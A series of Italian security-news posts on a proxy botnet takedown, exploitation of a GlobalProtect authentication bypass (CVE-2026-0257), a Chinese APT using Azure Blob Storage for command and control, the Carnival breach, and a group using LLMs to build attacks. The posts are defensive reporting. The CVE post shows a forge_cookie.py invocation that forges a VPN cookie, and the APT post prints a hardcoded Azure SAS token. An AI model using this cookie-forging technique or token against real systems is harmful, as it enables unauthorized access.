Secondo la dichiarazione dell’NCSC, la rete aveva silenziosamente compromesso 17 milioni di dispositivi attraverso 163 paesi. La composizione era eterogenea: computer desktop e laptop, tablet, smartphone Android, router domestici, smart home gadget e altri dispositivi IoT. Nessuna categoria di device connessa era immune: se accessibile, diventava un potenziale nodo della rete.

Asocks: il modello di business del proxy residenziale criminale

Il quotidiano locale NL Times ha identificato il servizio come Asocks, una piattaforma commerciale di proxy residenziali. Asocks non era solo uno strumento di hacking — era un servizio con un modello di business strutturato. Il sito pubblicizzava proxy aziendali, residenziali e mobili con abbonamenti mensili compresi tra $5 e $15, con sconti del 5-15% per acquisti bulk da 10 a 100 proxy.

La logica è semplice quanto efficace: se un criminale vuole condurre un attacco, una frode, uno scraping aggressivo o un test di credential stuffing, farlo dal proprio indirizzo IP è pericoloso. Se lo fa dall’IP di un appartamento a Rotterdam o da uno smartphone in Indonesia, il traffico appare come normale attività domestica. I difensori devono distinguere il legittimo dal malevolo in un mare di indirizzi residenziali puliti — un compito enormemente più difficile.

I proxy residenziali hanno usi legittimi: aggirare restrizioni geografiche, privacy personale, test di geolocalizzazione per aziende. Ma l’ecosistema ha un lato oscuro documentato: molti provider, come Asocks, costruiscono le loro reti infettando dispositivi a insaputa dei proprietari. In aprile 2024, il team Satori Threat Intelligence di HUMAN aveva già identificato una campagna denominata PROXYLIB che coinvolgeva dispositivi Android infetti con proxyware di LumiApps e Asocks.

Il problema che persiste: sito online, dispositivi ancora infetti

L’operazione presenta un limite strutturale fondamentale che le autorità stesse non nascondono: il sito web di Asocks è rimasto accessibile dopo il sequestro, e ogni singolo dispositivo compromesso è ancora infetto. Questo è il paradosso intrinseco delle operazioni contro le botnet basate su proxy residenziali: l’infrastruttura centrale è stata neutralizzata, ma i 17 milioni di endpoint infetti sparsi in tutto il mondo rimangono con il malware installato, pronti a essere reintegrati in una nuova rete di comando non appena l’operatore ricostruisca l’infrastruttura o venda l’accesso a un nuovo gestore.

Il caso ricorda operazioni precedenti contro reti analoghe: la disruzione di SocksEscort (marzo 2026), l’intervento contro BADBOX 2.0 che aveva infettato un milione di dispositivi (2025), e lo smantellamento di IPIDea (gennaio 2026) da parte di Google. Il pattern è ricorrente: le autorità colpiscono l’infrastruttura, ma la re-infezione dei dispositivi vulnerabili è questione di tempo se i proprietari non prendono contromisure attive.

Come funziona l’infezione e come difendersi

Come spiegato dall’NCSC, i dispositivi diventano parte di una botnet quando sono accessibili ad attori malevoli. Dopo aver ottenuto l’accesso, gli attaccanti installano malware che permette il controllo remoto del dispositivo, integrandolo nella rete usata per attività criminali. I vettori di infezione più comuni includono: app Android scaricate da store non ufficiali con proxyware nascosto, router domestici con credenziali di default o firmware obsoleto, dispositivi IoT con password di fabbrica mai cambiate, e exploit di vulnerabilità note in dispositivi edge non aggiornati.

L’NCSC raccomanda un insieme di misure difensive di base che, se applicate sistematicamente, riducono drasticamente la superficie di attacco. Per i singoli utenti: mantenere i sistemi operativi aggiornati, installare app solo da fonti attendibili, usare password robuste e uniche per ogni dispositivo, abilitare l’autenticazione a due fattori dove disponibile, cambiare le password predefinite su router e dispositivi IoT, proteggere le reti Wi-Fi con WPA2 o WPA3. Per le organizzazioni: mantenere visibilità sui dispositivi edge come router e firewall, monitorare il traffico in uscita per pattern anomali, segmentare la rete IoT da quella aziendale, e implementare sistemi di rilevamento delle anomalie che identifichino picchi insoliti di traffico uscente.

Il contesto: un’industria del proxy residenziale da regolamentare

L’operazione olandese si inserisce in un dibattito più ampio su come trattare il settore dei proxy residenziali. La linea tra servizi legittimi e infrastruttura criminale è spesso sottile: alcuni provider costruiscono reti con consenso esplicito degli utenti, che vengono compensati per condividere la loro larghezza di banda; altri come Asocks costruiscono le loro reti infettando dispositivi senza alcun consenso. Dal punto di vista del difensore, la distinzione è quasi irrilevante: il traffico malevolo che arriva da un proxy residenziale “consensuale” è indistinguibile da quello che usa un dispositivo compromesso.

Questa operazione è un segnale importante delle forze dell’ordine europee nella direzione di trattare i provider di proxy residenziali costruiti su dispositivi compromessi come infrastruttura criminale diretta, non come semplici facilitatori passivi. La prossimità geografica — i server erano fisicamente nei Paesi Bassi — ha reso possibile l’azione legale che operazioni distribuite globalmente rendono molto più complessa.

Fonti: The Hacker News, BleepingComputer, NL Times, NCSC Olanda — maggio 2026.

(in)sicurezza digitale

2026-05-31 12:55:45

CVE-2026-0257: Palo Alto GlobalProtect sotto attacco — cookies bypassano l’autenticazione VPN

Rapid7 MDR ha documentato lo sfruttamento attivo di CVE-2026-0257, una vulnerabilità di autenticazione che colpisce PAN-OS e Prisma Access di Palo Alto Networks. Gli attaccanti hanno dimostrato che è possibile forgiare cookie di autenticazione validi usando solo la chiave pubblica estratta dal certificato TLS dell’appliance esposta su Internet — senza credenziali, senza accesso fisico. Il 29 maggio 2026 la vulnerabilità è stata aggiunta al catalogo CISA KEV (Known Exploited Vulnerabilities).

Il problema: autenticazione override senza verifica della firma

La feature “authentication override” di GlobalProtect permette al portal o gateway di emettere cookie che gli utenti già autenticati possono riutilizzare nelle sessioni successive — un meccanismo simile ai bearer token. La vulnerabilità nasce da un difetto nel modo in cui questi cookie vengono validati lato server.

Quando un appliance è configurato in modo che il certificato usato per cifrare/decifrare i cookie di override sia lo stesso certificato usato per il servizio HTTPS del portal o gateway, si crea un problema critico: la chiave pubblica di quel certificato è accessibile pubblicamente a chiunque si connetta all’appliance. Chiunque conosca la chiave pubblica può forgiare un cookie di autenticazione arbitrario. Sul lato server, il cookie viene decifrato, ma il contenuto viene accettato implicitamente senza alcuna verifica della firma.

Il risultato pratico: un attaccante non autenticato può stabilire una connessione VPN come qualsiasi utente — incluso l’account admin locale — senza conoscere alcuna credenziale.

La cronologia degli attacchi osservati

Rapid7 ha identificato due distinte ondate di sfruttamento nelle settimane successive alla pubblicazione del bollettino Palo Alto (13 maggio 2026).

Prima ondata — 17-18 maggio 2026: Rapid7 MDR ha rilevato un alert “Suspicious VPN Authentication – Local Account Logon via Generic Non-Human Identity” su più ambienti cliente. L’analisi ha rilevato autenticazioni via cookie all’account admin locale provenienti da IP associati all’hosting provider Vultr, con un hostname client di GP-CLIENT e sistema operativo Linux.

# Log GlobalProtect - Prima ondata (18 maggio 2026)
<14>May 18 01:51:37 palovpn-01 1,2026/05/18 01:51:37,010101010101,GLOBALPROTECT,0,2817,
2026/05/18 01:51:37,vsys1,gateway-auth,login,Cookie,,admin,US,
GP-CLIENT,104.207.144.154,0.0.0,0.0.0.0,0.0.0.0,
aa:bb:cc:dd:ee:ff,,6.0.0,,Linux,"linux-64",1,,,
"Auth latency: 78ms, profile: local_auth_profile",success,,0,,0,
GP-Gateway,0101010101010101010,0x0,2026-05-18T01:51:37.264-05:00

Seconda ondata — 21 maggio 2026: Una seconda serie di attacchi è partita da IP associati a Dromatics Systems. L’elemento comune che ha permesso a Rapid7 di attribuire entrambe le ondate allo stesso threat actor è il MAC address spoofato aa:bb:cc:dd:ee:ff — un placeholder generico che non corrisponde a nessuna scheda di rete reale. In questa seconda ondata, in 2 casi su 10 l’appliance ha concesso anche l’assegnazione di un IP VPN, dando all’attaccante accesso alla rete interna.

# Log GlobalProtect - Seconda ondata (21 maggio 2026)
<14>May 21 01:54:39 FW-PA-A 1,2026/05/21 01:54:38,010101010101,GLOBALPROTECT,0,2818,
2026/05/21 01:54:38,vsys1,gateway-auth,login,Cookie,,admin,US,
DESKTOP-GP01,146.19.216.125,0.0.0.0,0.0.0.0,0.0.0.0,
aa:bb:cc:dd:ee:ff,,6.0.0,Windows,"Microsoft Windows 10 Pro , 64-bit",1,,,
"Auth latency: 1019ms, profile: SAML-o365-GP",success,,0,,0,
GlobalProtect_External_Gateway,0101010101010101010,0x8000000000000000,
2026-05-21T01:54:39.142-05:00

Il proof-of-concept pubblico: forge_cookie.py

Rapid7 Labs ha sviluppato e pubblicato su GitHub uno script Python che automatizza il test di vulnerabilità. Lo script scarica la catena di certificati dall’appliance target, itera su ogni certificato estraendone la chiave pubblica, forgia un cookie di autenticazione per ciascuna chiave e verifica quale viene accettata dal gateway GlobalProtect. La disponibilità pubblica del PoC abbassa significativamente la barriera d’ingresso per gli attaccanti.

# Utilizzo di forge_cookie.py (PoC pubblico Rapid7)
$ python3 forge_cookie.py --target 192.168.86.99 --user haxor
[*] Retrieving certificate chain from 192.168.86.99:443 ...
  Found 2 certificate(s) in chain:
  [0] CN=192.168.86.99 (RSA 2048 bits, CA=False)
  [1] CN=GP-Lab-CA (RSA 2048 bits, CA=True)
[*] Forging cookie for user 'haxor', testing each key
  Trying [0] CN=192.168.86.99
  [-] Failure - Gateway did not accepted the forged cookie
  Trying [1] CN=GP-Lab-CA
  [+] Success - Gateway accepted the forged cookie
  Cookie: ng9ygxlaclylNXeSHcakXZPK06Fno0svVirz6RhRtA5m...

Versioni vulnerabili e mitigazione

La vulnerabilità è presente in PAN-OS 10.2, 11.1, 11.2 e 12.1, nonché in Prisma Access 10.2.0 e 11.2.0, nelle versioni precedenti alle patch rilasciate da Palo Alto Networks. La condizione di vulnerabilità richiede che la feature “authentication override” sia abilitata e che il certificato usato per i cookie venga condiviso con il servizio HTTPS del portal/gateway.

Le mitigazioni prioritarie sono: aggiornare immediatamente alle versioni patchate indicate nel bollettino ufficiale; in alternativa, disabilitare la feature authentication override; oppure generare un certificato dedicato esclusivamente a quella feature, senza condividerlo con altri servizi. Anche con la vulnerabilità non patchata, quest’ultima opzione neutralizza il vettore di attacco.

Indicatori di compromissione (IoC)

# IP attaccanti osservati da Rapid7
104.207.144.154   # Vultr - Prima ondata
146.19.216.119    # Dromatics Systems - Seconda ondata
146.19.216.120    # Dromatics Systems
146.19.216.125    # Dromatics Systems
# MAC address spoofato (comune ad entrambe le ondate)
aa:bb:cc:dd:ee:ff
# Hostname client osservati nei log GlobalProtect
GP-CLIENT         # Linux, prima ondata (17-18 maggio)
DESKTOP-GP01      # Windows, seconda ondata (21 maggio)
# Versioni PAN-OS vulnerabili (esempi)
PAN-OS 10.2.8
PAN-OS 12.1.4-h6
# Script PoC
forge_cookie.py (https://github.com/sfewer-r7/CVE-2026-0257)

Il report completo con la technical analysis della funzione main_DecryptAppAuthCookie e le detection rule per InsightIDR è disponibile sul blog di Rapid7. Il bollettino ufficiale Palo Alto è consultabile su security.paloaltonetworks.com.

Rapid7 Observed Exploitation of PAN-OS GlobalProtect Authentication Bypass Vulnerability (CVE-2026-0257)

Rapid7 MDR has observed active exploitation of PAN-OS GlobalProtect Authentication Bypass Vulnerability CVE-2026-0257.

^Rapid7

(in)sicurezza digitale

2026-05-31 12:57:37

Operation Dragon Weave: l’APT cinese usa Azure Blob Storage come C2 per colpire Repubblica Ceca e Taiwan

Seqrite ha svelato Operation Dragon Weave, una campagna di spearphishing attribuita con moderata confidenza a un attore cinese che ha preso di mira funzionari governativi, accademici e aziende tecnologiche in Repubblica Ceca e Taiwan. L’elemento più sofisticato dell’operazione è il payload finale, AZUREVEIL: un agente C2 basato sul framework Adaptix che sfrutta Microsoft Azure Blob Storage come canale di comando-e-controllo, rendendo il traffico malevolo praticamente indistinguibile dalle normali comunicazioni cloud enterprise.

Il contesto geopolitico: perché Repubblica Ceca e Taiwan

La scelta dei target non è casuale. La Repubblica Ceca ha rafforzato negli ultimi anni i legami con Taiwan e ha adottato posizioni critiche nei confronti di Pechino su temi come Huawei e i diritti umani. Taiwan rimane il teatro principale delle ambizioni di raccolta intelligence di Pechino, con un interesse particolare verso il settore tecnologico — semiconduttori, difesa, ricerca avanzata. I documenti-esca usati nell’operazione erano scritti sia in cinese tradizionale che in lingua ceca, confermando la natura mirata e localizzata della campagna.

I settori colpiti includono pubblica amministrazione e settore governativo, ricerca e accademia, tecnologia e software, e servizi finanziari — un profilo tipico delle operazioni di cyberspionaggio state-sponsored.

La catena di infezione: due percorsi, stesso payload finale

L’infezione inizia con un archivio ZIP inviato via spearphishing. All’interno, la vittima trova un documento esca in formato PDF insieme a uno di questi file: un LNK malevolo o un eseguibile compilato in Rust. Indipendentemente dalla scelta della vittima, entrambi i percorsi convergono sulla stessa catena di payload.

Percorso A (LNK-based): Il file LNK esegue silenziosamente uno script VBScript minimalista (empty.vbs) il cui unico compito è avviare Profile.ps1 tramite PowerShell. Questo script PowerShell decrittografa il file 1.dat e rilascia RuntimeBroker_update.exe.

Percorso B (Executable-based): Un eseguibile Rust estrae direttamente tutti i componenti necessari, replicando il risultato del percorso A senza passare per VBScript e PowerShell.

In entrambi i casi, RuntimeBroker_update.exe — che si maschera con il nome di un legittimo processo Windows — esegue il DLL sideloading caricando una versione malevola di UnityPlayer.dll. Questa DLL è il loader RUSTCLOAK.

RUSTCLOAK: il loader Rust con evasione sandbox

RUSTCLOAK è un loader scritto in Rust che implementa diverse tecniche di evasione prima di caricare il payload finale. Prima di procedere, verifica il nome del computer della macchina su cui è in esecuzione, confrontandolo con una lista di nomi tipici degli ambienti di analisi e sandbox:

Nomi macchina rilevati come sandbox da RUSTCLOAK:
- DESKTOP-NAKFFMT
- JULIA-PC
- ARCHIBALD-PC

Se il controllo è superato, RUSTCLOAK decrittografa il payload finale attraverso quattro strati di cifratura: XOR, RC4, Base64 e SM4 (un algoritmo di cifratura a blocchi sviluppato e standardizzato in Cina). L’uso di SM4 è un interessante indicatore contestuale che rafforza la valutazione sull’attribuzione all’attore cinese. Il payload decrittografato — AZUREVEIL — viene caricato direttamente in memoria senza toccare il disco.

AZUREVEIL: l’agente C2 che si nasconde nel cloud Microsoft

AZUREVEIL è un agente per il framework open-source Adaptix C2 con una caratteristica distintiva: usa Microsoft Azure Blob Storage come canale dead-drop per il comando-e-controllo. Invece di comunicare con un server C2 dedicato — facilmente bloccabile — l’agente carica beacon cifrati su un container Azure e legge i comandi dall’operatore dallo stesso container. Tutto il traffico transita su HTTPS verso domini legittimi Microsoft (*.blob.core.windows.net), rendendo il filtraggio estremamente difficile senza bloccare anche i servizi cloud aziendali legittimi.

AZUREVEIL supporta 36 comandi, tra cui: enumerazione di file, directory e dischi logici; listing dei processi in esecuzione e delle named pipe; enumerazione degli adattatori di rete; process injection; reflective loading di eseguibili in memoria; esecuzione di BOF (Beacon Object Files) in memoria; port forwarding e proxy SOCKS per il pivoting; download e upload di file.

Indicatori di compromissione (IoC)

# Infrastruttura C2
note1ggbbhggdwa1[.]blob[.]core[.]windows[.]net
# File names - delivery iniziale
計畫申請審查結果通知單.pdf.lnk
_計畫申請審查結果通知單.exe
# Componenti dropper/loader
RuntimeBroker_update.exe
UnityPlayer.dll (malevola)
BrowserViewUtility.exe
empty.vbs
Profile.ps1
1.dat
Com.dat
# Hash SHA-256 (campioni principali)
096372d19b4787e989f44e04c5ecc29885aa927c34ae8666628d6c0eb20bb447
1c56228cbd1bdebb9e5ea55c2749150fee06c865ede4a3754e8bd6843e51d2d4
# SAS Token Azure (hardcoded nel payload cifrato)
sv=2024-11-04&ss=b&srt=sco&sp=rwdlaciytfx&st=2026-03-19T09:20:44Z
&se=2027-03-19T17:35:44Z&spr=https&sig=ECJjJIIE9Ou75dwiHhliC4fWccdBpLX9u580AX9TGwY=
# Computer names usati come check sandbox
DESKTOP-NAKFFMT
JULIA-PC
ARCHIBALD-PC

Due righe per i difensori

L’abuso di servizi cloud legittimi come Azure Blob Storage per il C2 è una tecnica sempre più diffusa tra gli APT, poiché consente di bypassare molti controlli basati su reputazione o blacklist. Per i team di difesa, le azioni prioritarie includono: monitorare il traffico verso domini *.blob.core.windows.net non generato da applicazioni aziendali note; implementare regole YARA per il rilevamento delle tecniche di DLL sideloading con nomi di processo che imitano componenti Windows legittimi; analizzare i log degli endpoint alla ricerca di VBScript che eseguono PowerShell con parametri di decifratura; bloccare l’esecuzione di file LNK da archivi ZIP via policy. Il SAS token hardcoded nel payload è una firma stabile che può essere usata per il rilevamento retroattivo su EDR e log di rete.

Il report completo con tutti gli IoC, i MITRE ATT&CK mapping e l’analisi tecnica dettagliata è disponibile sul blog di Seqrite Labs.

Operation Dragon Weave : Uncovering a China-Linked Campaign Targeting Czech Republic and Taiwan Using Azure Cloud C2 | Seqrite

Contents Introduction Key Targets Industries Affected Geographical focus Infection Chain Initial Findings Looking into the Decoy Document Technical Analysis Stage 1 - Initial Delivery Path A: LNK-Based Execution Path B: Executable-Based Delivery Stag…

^{Priya Patel (Seqrite Labs)}

(in)sicurezza digitale

2026-05-30 11:55:38

Guerra Profonda: perché il nuovo libro di Arturo Di Corinto merita l’attenzione della community cyber

Il settore della cybersecurity è spesso vittima di una visione riduttiva del conflitto digitale. Quando si parla di minacce informatiche si tende infatti a pensare quasi esclusivamente a malware, ransomware, vulnerabilità e attacchi alle infrastrutture critiche. Eppure la realtà degli ultimi anni ha dimostrato che il cyberspazio è soltanto una delle dimensioni attraverso cui si sviluppano i conflitti contemporanei.

Con il libro Guerra Profonda. Hacker, bugie e l’architettura segreta dei nuovi conflitti, in uscita il 5 giugno per Luiss University Press, Arturo Di Corinto propone una riflessione che va ben oltre la tradizionale analisi della sicurezza informatica, portando il lettore all’interno di quel territorio sempre più sfumato dove tecnologia, informazione, psicologia e geopolitica si intrecciano (ordinabile già ora in pre-vendita).

Per chi conosce il percorso professionale dell’autore, non si tratta di un salto nel vuoto. Giornalista, divulgatore, docente e ricercatore nel campo della cybersecurity e dei diritti digitali, Di Corinto ha raccontato per anni l’evoluzione della rete, delle minacce informatiche e dei rapporti di potere che si sviluppano attorno alle tecnologie digitali.

Ciò che rende particolarmente interessante questo nuovo lavoro è il tentativo di superare la distinzione tradizionale tra guerra informatica e guerra dell’informazione. Le anticipazioni disponibili descrivono infatti un’analisi delle minacce ibride in cui cyberattacchi, campagne di disinformazione, operazioni psicologiche e utilizzo dell’intelligenza artificiale diventano componenti di un’unica architettura conflittuale.

È un approccio che risulta particolarmente attuale. Negli ultimi anni abbiamo osservato come gli attori statuali e non statuali abbiano progressivamente integrato strumenti tecnici e cognitivi nelle proprie operazioni. L’obiettivo non è più soltanto compromettere sistemi informatici o interrompere servizi essenziali, ma influenzare percezioni, alterare processi decisionali, polarizzare il dibattito pubblico e modellare il comportamento delle persone.

In questo contesto il concetto di “guerra profonda” appare particolarmente efficace. Non una guerra combattuta esclusivamente nelle reti informatiche, ma un conflitto che agisce contemporaneamente sulle infrastrutture tecnologiche e sulle infrastrutture cognitive della società.

Per gli operatori della cybersecurity il valore di una lettura come questa risiede proprio nella capacità di ampliare il perimetro di osservazione. La sicurezza non può più essere considerata esclusivamente un problema tecnico. Le campagne di influence operation, l’uso malevolo dell’intelligenza artificiale generativa, la manipolazione algoritmica dell’informazione e la crescente centralità della sovranità digitale rappresentano oggi fattori strategici almeno quanto le vulnerabilità software o gli exploit zero-day.

Il libro sembra inoltre inserirsi in un dibattito particolarmente rilevante per l’Europa: quello relativo all’autonomia tecnologica e alla capacità degli Stati di governare infrastrutture, dati e sistemi di intelligenza artificiale in un contesto caratterizzato da una crescente competizione geopolitica.

Per chi lavora nella threat intelligence, nella sicurezza nazionale, nella gestione del rischio o nella protezione delle infrastrutture critiche, Guerra Profonda promette quindi di offrire una chiave di lettura utile per comprendere come le minacce del XXI secolo stiano evolvendo verso forme sempre più ibride e multidimensionali.

In un’epoca in cui ransomware, campagne di disinformazione, deepfake, operazioni psicologiche e intelligenza artificiale convergono all’interno dello stesso ecosistema di minaccia, la vera sfida non è soltanto difendere reti e sistemi, ma comprendere il modo in cui viene attaccata la fiducia stessa su cui si fondano le nostre società digitali.

Ed è probabilmente proprio questa la domanda più interessante che il nuovo lavoro di Arturo Di Corinto sembra voler porre al lettore: siamo davvero preparati a riconoscere i nuovi campi di battaglia del mondo digitale?

Guerra profonda. Hacker, bugie e l'architettura segreta dei nuovi conflitti : Di Corinto, Arturo: Amazon.it: Libri

^amzn.to

(in)sicurezza digitale

2026-05-29 15:21:17

Carnival e il paradosso della cybersecurity moderna: milioni di record rubati attraverso un solo dipendente

Si parla di:
Toggle

Ancora una volta, il punto di ingresso non è stato un malware sofisticato, una vulnerabilità zero-day o una falla critica dimenticata in un sistema esposto su Internet.

È bastato convincere una persona.

Carnival Corporation, uno dei più grandi operatori mondiali del settore crocieristico, ha confermato una violazione che ha coinvolto quasi sei milioni di individui. Secondo le informazioni diffuse dall’azienda e dai documenti depositati presso le autorità statunitensi, gli attaccanti sono riusciti a compromettere un account aziendale attraverso una tecnica di social engineering, ottenendo così accesso a una porzione dell’infrastruttura IT interna.

Da quel momento la catena di compromissione è stata relativamente semplice: accesso ai sistemi, individuazione dei repository contenenti dati personali e successiva esfiltrazione dei file.

Il risultato è stato l’esposizione di informazioni appartenenti a circa 5,9 milioni di persone. Tra i dati sottratti figurano nomi, indirizzi email, date di nascita, dettagli geografici e informazioni relative ai programmi fedeltà dei clienti. Secondo le analisi effettuate successivamente da Have I Been Pwned, il dataset pubblicato dagli attaccanti conterrebbe addirittura circa 8,7 milioni di record complessivi.

Il vero problema non è il data breach

La notizia è stata riportata come l’ennesimo incidente che coinvolge milioni di utenti, ma il punto interessante per chi lavora nella difesa cyber è un altro.

L’intera operazione sarebbe partita da un dipendente manipolato.

Carnival non ha fornito dettagli tecnici sul meccanismo utilizzato, ma la formulazione impiegata nei documenti ufficiali è significativa: gli attaccanti hanno “deceived an employee” attraverso tecniche di social engineering.

Tradotto nel linguaggio operativo delle intrusioni moderne, significa che probabilmente non è stato necessario forzare alcuna protezione tecnica.

Nessun exploit.
Nessun bypass crittografico.
Nessun accesso privilegiato ottenuto tramite vulnerabilità software.

Gli attaccanti hanno semplicemente convinto qualcuno a collaborare, volontariamente o inconsapevolmente.

È esattamente ciò che osserviamo sempre più spesso nelle operazioni attribuite ai gruppi criminali contemporanei: il costo di sviluppare exploit complessi è elevato, mentre il costo di ingannare una persona resta incredibilmente basso.

ShinyHunters e l’evoluzione dell’estorsione

A rivendicare l’attacco è stato il gruppo ShinyHunters, nome ben noto nell’ecosistema cybercrime internazionale. Il collettivo avrebbe inserito Carnival nel proprio portale di estorsione già ad aprile, sostenendo di aver sottratto milioni di record e minacciandone la pubblicazione. Successivamente i dati sarebbero stati effettivamente diffusi online.

Anche questo dettaglio racconta qualcosa dell’evoluzione del panorama criminale.

Per molti gruppi il ransomware non rappresenta più necessariamente il punto centrale dell’operazione.

La semplice esfiltrazione dei dati è ormai sufficiente per monetizzare un’intrusione.

Se il valore dei dati rubati è elevato, la cifratura dei sistemi può persino diventare superflua. Il danno reputazionale, il rischio normativo e la possibilità di future campagne di phishing garantiscono già una leva di pressione significativa sulle vittime.

Il social engineering come bypass universale

L’aspetto più interessante del caso Carnival riguarda però una realtà che molte organizzazioni continuano a sottovalutare.

Negli ultimi anni le aziende hanno investito enormi risorse in EDR, XDR, SIEM, sistemi di threat intelligence, MFA e segmentazione delle reti.

Tutto corretto.

Ma nessuna di queste tecnologie elimina il problema fondamentale: l’essere umano continua a rappresentare un’interfaccia di accesso privilegiata.

Quando un attaccante riesce a convincere un dipendente a eseguire un’azione apparentemente legittima, molte delle difese costruite per bloccare comportamenti malevoli diventano improvvisamente meno efficaci.

È il motivo per cui i gruppi criminali stanno spostando sempre più energie verso campagne di impersonificazione, phishing mirato, vishing, MFA fatigue e tecniche di supporto IT fraudolento.

L’obiettivo non è più forzare il sistema ma convincere il proprietario del sistema ad aprire la porta.

La vera lezione per i team di sicurezza

L’incidente Carnival ricorda qualcosa che spesso viene dimenticato durante le discussioni sulle minacce avanzate.

La maturità di un’organizzazione non si misura soltanto dalla qualità dei controlli tecnologici implementati, ma dalla capacità di resistere alla manipolazione psicologica.

Per questo motivo la formazione tradizionale basata su slide annuali e quiz di compliance continua a mostrare tutti i suoi limiti.

I moderni attacchi di social engineering non sfruttano soltanto la disattenzione. Sfruttano fiducia, urgenza, stress operativo, gerarchie aziendali e processi interni.

Sono attacchi contro il comportamento umano prima ancora che contro l’infrastruttura. E finché continuerà a essere più semplice ingannare una persona che compromettere un firewall, casi come quello di Carnival continueranno a ripetersi.

Con numeri sempre più grandi.
E con conseguenze sempre più costose.

(in)sicurezza digitale

2026-05-29 07:09:57

GreyVibe: il nuovo APT Russia-nexus che usa l’intelligenza artificiale come acceleratore di attacchi contro l’Ucraina

Si parla di:
Toggle

I ricercatori di WithSecure hanno identificato GreyVibe, un threat actor Russia-nexus mai documentato prima, operativo contro l’Ucraina dall’agosto 2025. Il gruppo si distingue per un approccio inedito: l’integrazione sistematica di Large Language Model (LLM) nell’intera catena di attacco, dalla generazione di siti web fasulli ai payload malware, dai template di phishing ai tool post-compromise. Un’ironia operativa ha però esposto il gruppo: i difetti caratteristici del codice generato da LLM all’interno di uno dei loro strumenti principali, LegionRelay, hanno permesso ai ricercatori di tracciare e attribuire l’attività con elevata confidenza.

Profilo di GreyVibe: ambizione operativa, tradecraft non ancora élite

GreyVibe è un threat actor con nexus russo attivo dall’agosto 2025, focalizzato quasi esclusivamente su target ucraini: entità militari, apparati governativi, organizzazioni civili e imprese. L’analisi di WithSecure descrive un gruppo con ambizioni operative significative ma tradecraft ancora lontano dai livelli dei più noti APT russi come APT28 o Sandworm. Quello che GreyVibe manca in sofisticazione tecnica, cerca di compensarlo con la velocità operativa garantita dall’IA: la capacità di generare nuovi lure di phishing, adattare il malware e costruire infrastrutture di supporto in tempi molto più brevi rispetto ai metodi tradizionali.

I ricercatori di WithSecure hanno evidenziato possibili sovrapposizioni con l’ecosistema TrickBot e il cluster UAC-0098, un gruppo già noto per operazioni di spionaggio e sabotaggio contro l’Ucraina documentate da CERT-UA. Questa connessione suggerisce che GreyVibe possa essere un’articolazione nuova o uno spin-off di strutture criminali/statali preesistenti che hanno adottato l’IA per incrementare la loro capacità operativa nel contesto del conflitto.

L’IA come moltiplicatore di forza: LLM nell’intera kill chain

GreyVibe rappresenta un caso di studio su come gli LLM stiano abbassando la barriera di ingresso per operazioni cyber offensive. Il gruppo utilizza i modelli linguistici in modo pervasivo lungo tutta la kill chain. Nella fase di Initial Access, genera siti web fasulli convincenti e template di phishing localizzati in ucraino, con un livello di qualità linguistica che sarebbe difficile da raggiungere senza parlanti madrelingua o tool specializzati. Nella fase di sviluppo malware, gli LLM vengono impiegati per scrivere o adattare rapidamente tool offensivi, abbreviando i tempi di sviluppo. Nella fase post-compromise, gli strumenti di ricognizione e movimento laterale mostrano tracce di assistenza da LLM nella struttura del codice e nella gestione degli errori.

È proprio questo ultimo aspetto ad aver tradito il gruppo. I ricercatori di WithSecure hanno identificato una serie di pattern stilistici nel codice di LegionRelay — schemi di naming, strutture di gestione delle eccezioni, commenti nel codice — tipici del codice generato da LLM. Questi “fingerprint” involontari hanno permesso di collegare tra loro campagne apparentemente distinte e di costruire il profilo del gruppo con un livello di confidenza che normalmente richiede molto più tempo e analisi infrastrutturale.

Il toolkit di GreyVibe: LegionRelay, PhantomRelay e Fallspy

LegionRelay è lo strumento centrale dell’arsenale di GreyVibe, un componente di command-and-control (C2) relay che funge da intermediario tra gli operatori e gli host compromessi, oscurando l’infrastruttura di backend. I difetti nel suo codice, generati dall’LLM utilizzato per svilupparlo, hanno paradossalmente trasformato LegionRelay in un identificatore univoco del gruppo. PhantomRelay è un ulteriore layer di relay C2, utilizzato probabilmente per campagne o target di maggiore sensibilità dove è necessaria un’ulteriore separazione dall’infrastruttura principale. Fallspy è invece un infostealer: il suo nome evoca una capacità di raccolta dati silenziosa e persistente, mirata all’esfiltrazione di credenziali, documenti e informazioni di sistema dagli host compromessi.

Contesto geopolitico: l’IA modifica gli equilibri nel cyber conflitto ucraino

La scoperta di GreyVibe arriva in un momento in cui il conflitto cyber legato alla guerra in Ucraina sta evolvendo su più fronti. Nel maggio 2026, il sito insicurezzadigitale.com ha già documentato l’operazione del gruppo iraniano Ababil of Minab contro infrastrutture GPS statunitensi e la botnet Glassworm che ha preso di mira sviluppatori attraverso npm, PyPI e GitHub. La convergenza di questi trend indica un’accelerazione generalizzata nell’adozione di AI nei toolkit offensivi sia di attori state-sponsored che di cybercriminali. GreyVibe rappresenta il primo caso documentato di un gruppo Russia-nexus che integra gli LLM in modo così sistematico, segnalando che questa capacità sta diventando mainstream anche tra attori di secondo livello.

Per i difensori ucraini e per le organizzazioni che supportano il paese, l’emergere di GreyVibe amplifica una minaccia già densa. La capacità di generare rapidamente nuovi lure, adattare i payload e modificare l’infrastruttura riduce l’efficacia dei tradizionali approcci basati su signature statiche. Le organizzazioni target devono orientarsi verso rilevamenti comportamentali e contestuali, aumentando la resilienza contro campagne di phishing sofisticate e distribuzione di tool come LegionRelay, PhantomRelay e Fallspy.

Due righe per i difensori

Data la natura delle campagne di GreyVibe, le organizzazioni a rischio — in particolare quelle con connessioni all’Ucraina o che operano nel suo supporto — dovrebbero implementare le seguenti misure. È fondamentale potenziare i controlli anti-phishing con analisi comportamentale delle email, prestando particolare attenzione a messaggi con temi militari o governativi ucraini che potrebbero essere lure generati da LLM. Sul fronte endpoint, va monitorata l’attività anomala di relay C2 non classificati, eventuali tool di tunneling inaspettati e accessi a risorse di sistema insolite. A livello di threat intelligence, è consigliabile integrare i IoC pubblicati da WithSecure relativi a LegionRelay, PhantomRelay e Fallspy nei sistemi SIEM e nelle piattaforme di detection. Infine, considerando i legami con l’ecosistema TrickBot e UAC-0098, è opportuno rivedere le regole di detection già in uso per questi cluster e valutare eventuali sovrapposizioni infrastrutturali.

Indicatori di Compromissione (IoC)

## Threat Actor
  Nome: GreyVibe
  Nexus: Russia
  Attivo dal: agosto 2025
  Target principali: Ucraina (militare, governo, civile, business)
  Cluster correlati: TrickBot ecosystem, UAC-0098
  Fonte attribuzione: WithSecure

## Tool identificati
  LegionRelay   - C2 relay (codice con fingerprint LLM)
  PhantomRelay  - C2 relay secondario
  Fallspy       - Infostealer / credential harvester

## MITRE ATT&CK TTP (parziali)
  T1566   - Phishing (campagne con lure generati da LLM)
